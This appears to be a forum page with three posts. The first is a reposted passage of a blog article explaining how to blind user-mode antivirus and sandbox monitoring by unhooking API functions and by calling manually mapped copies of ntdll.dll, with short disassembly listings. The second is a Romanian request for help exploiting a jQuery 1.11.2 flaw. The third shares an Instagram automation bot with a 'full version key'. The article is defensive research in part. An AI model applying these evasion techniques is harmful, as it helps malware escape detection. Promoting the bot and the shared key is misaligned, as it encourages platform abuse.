execution returns here after hook handler has done its job 76B73F02 51 PUSH ECX 76B73F03 FF75 08 PUSH DWORD PTR SS:[EBP+8] 76B73F06 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] ... 76B73F46 C9 LEAVE 76B73F47 C2 1C00 RETN 1C There are multiple ways of hooking code, but this one is the fastest and doesn't create too much bottleneck in code execution performance. Other hooking techniques involve injecting INT3 instructions or properly setting up Debug Registers and handling them with your own exception handlers that later redirect execution to hook handlers. Now that you know how real-time protection works and how exactly it involves API hooking, I can proceed to explain the methods of bypassing it. There are AV products on the market that perform real-time monitoring in kernel-mode (Ring0), but this is out of scope of this post and I will focus only on bypassing protections of AV products that perform monitoring in user-mode (Ring3). The Unhooking Flashbang As you know already, the real-time protection relies solely on API hook handlers to be executed. Only when the AV hook handler is executed, the protection software can register the call of the API, monitor the parameters and continue mapping the process activity. It is obvious that in order to completely disable the protection, we need to remove API hooks and as a result the protection software will become blind to everything we do. In our own application, we control the whole process memory space. AV, with its injected code, is just an intruder trying to tamper with our software's functionality, but we are the king of our land. Steps to take should be as follows: Enumerate all loaded DLL libraries in current process. Find entry-point address of every imported API function of each DLL library. Remove the injected hook JMP instruction by replacing it with the API's original bytes. It all seems fairly simple until the point of restoring the API function's original code, from before, when the hook JMP was injected. Getting the original bytes from hook handlers is out of question as there is no way to find out which part of the handler's code is the original API function prologue code. So, how to find the original bytes? The answer is: Manually retrieve them by reading the respective DLL library file stored on disk. The DLL files contain all the original code. In order to find the original first 16 bytes (which is more than enough) of CreateFileW API, the process is as follows: Read the contents of kernel32.dll file from Windows system folder into memory. I will call this module raw_module. Get the base address of the imported kernel32.dll module in our current process. I will call the imported module imported_module. Fix the relocations of the manually loaded raw_module with base address of imported_module (retrieved in step 2). This will make all fixed address memory references look the same as they would in the current imported_module (complying with ASLR). Parse the raw_module export table and find the address of CreateFileW API. Copy the original 16 bytes from the found exported API address to the address of the currently imported API where the JMP hook resides. This will effectively overwrite the current JMP with the original bytes of any API. If you want to read more on parsing Portable Executable files, the best tutorial was written by Iczelion (the website has a great 90's feel too!). Among many subjects, you can learn about parsing the import table and export table of PE files. When parsing the import table, you need to keep in mind that Microsoft, with release of Windows 7, introduced a strange creature called API Set Schema. It is very important to properly parse the imports pointing to these DLLs. There is a very good explanation of this entity by Geoff Chappel in his The API Set Schema article. Stealth Calling The API unhooking method may fool most of the AV products that perform their behavioral analysis in user-mode. This however does not fool enough, the automated sandbox analysis tools like Cuckoo Sandbox. Cuckoo apparently is able to detect if API hooks, it put in place, were removed. That makes the previous method ineffective in the long run. I thought of another method on how to bypass AV/sandbox monitoring. I am positive it would work, even though I have yet to put it into practice. For sure there is already malware out there implementing this technique. First of all, I must mention that ntdll.dll library serves as the direct passage between user-mode and kernel-mode. Its exported APIs directly communicate with Windows kernel by using syscalls. Most of the other Windows libraries eventually call APIs from ntdll.dll. Let's take a look at the code of ZwCreateFile API from ntdll.dll on Windows 7 in WOW64 mode: 77D200F4 > B8 52000000 MOV EAX,52 77D200F9 33C9 XOR ECX,ECX 77D200FB 8D5424 04 LEA EDX,DWORD PTR SS:[ESP+4] 77D200FF 64:FF15 C0000000 CALL DWORD PTR FS:[C0] 77D20106 83C4 04 ADD ESP,4 77D20109 C2 2C00 RETN 2C Basically what it does is pass EAX = 0x52 with stack arguments pointer in EDX to the function, stored in TIB at offset 0xC0. The call switches the CPU mode from 32-bit to 64-bit and executes the syscall in Ring0 to NtCreateFile. 0x52 is the syscall for NtCreateFile on my Windows 7 system, but the syscall numbers are different between Windows versions and even between Service Packs, so it is never a good idea to rely on these numbers. You can find more information about syscalls on Simone Margaritelli blog here. Most protection software will hook ntdll.dll API as it is the lowest level that you can get to, right in front of the kernel's doorstep. For example if you only hook CreateFileW in kernel32.dll which eventually calls ZwCreateFile in ntdll.dll, you will never catch direct API calls to ZwCreateFile. Although a hook in ZwCreateFile API will be triggered every time CreateFileW or CreateFileA is called as they both eventually must call the lowest level API that communicates directly with the kernel. There is always one loaded instance of any imported DLL module. That means if any AV or sandbox solution wants to hook the API of a chosen DLL, they will find such module in current process' imported modules list. Following the DLL module's export table, they will find and hook the exported API function of interest. Now, to the interesting part. What if we copied the code snippet, I pasted above from ntdll.dll, and implemented it in our own application's code. This would be an identical copy of ntdll.dll code that will execute a 0x52 syscall that was executed in our own code section. No user-mode protection software will ever find out about it. It is an ideal method of bypassing any API hooks without actually detecting and unhooking them! Thing is, as I mentioned before, we cannot trust the syscall numbers as they will differ between Windows versions. What we can do though is read the whole ntdll.dll library file from disk and manually map it into current process' address space. That way we will be able to execute the code which was prepared exclusively for our version of Windows, while having an exact copy of ntdll.dll outside of AV's reach. I mentioned ntdll.dll for now as this DLL doesn't have any other dependencies. That means it doesn't have to load any other DLLs and call their API. Its every exported function passes the execution directly to the kernel and not to other user-mode DLLs. It shouldn't stop you from manually importing any other DLL (like kernel32.dll or user32.dll), the same way, if you make sure to walk through the DLLs import table and populate it manually while recursively importing all DLLs from the library's dependencies. That way the manually mapped modules will use only other manually mapped dependencies and they will never have to touch the modules that were loaded into the address space when the program was started. Afterwards, it is only a matter of calling the API functions from your manually mapped DLL files in memory and you can be sure that no AV or sandbox software will ever be able to detect such calls or hook them in user-mode. Conclusion There is certainly nothing that user-mode AV or sandbox software can do about the evasion methods I described above, other than going deeper into Ring0 and monitoring the process activity from the kernel. The unhooking method can be countered by protection software re-hooking the API functions, but then the APIs can by unhooked again and the cat and mouse game will never end. In my opinion the stealth calling method is much more professional as it is completely unintrusive, but a bit harder to implement. I may spend some time on the implementation that I will test against all popular sandbox analysis software and publish the results. As always, I'm always happy to hear your feedback or ideas. You can hit me up on Twitter @mrgretzky or send an email to kuba@breakdev.org. Enjoy and see you next time! Sursa: https://breakdev.org/defeating-antivirus-real-time-protection-from-the-inside/

buna poate ma lamureste si pe mine cineva cu se poate exploata vulnerabilitatea in jquery version 1.11.2 nu ma prea pricep prea bine la java si nu imi dau seama am tot citit pe google tot felul de articole dar le prea inteleg sau daca exista vreo aplicatie care o verifica automat daca este vulnerabil sa nu

Recommended 1) Like per day 1000 2) Follow per day 350 3) Unfollow per day 350 4) Comment per day 100 Download: https://github.com/LevPasha/Instagram-bot-cs Full version key: 7c4645885b1113a1665cb6bb433ee7f6 (nu am testat, mi s-a parut interesant, poate ajuta pe cineva) ps: daca testeaza cineva, rog sa lase reply, multumesc!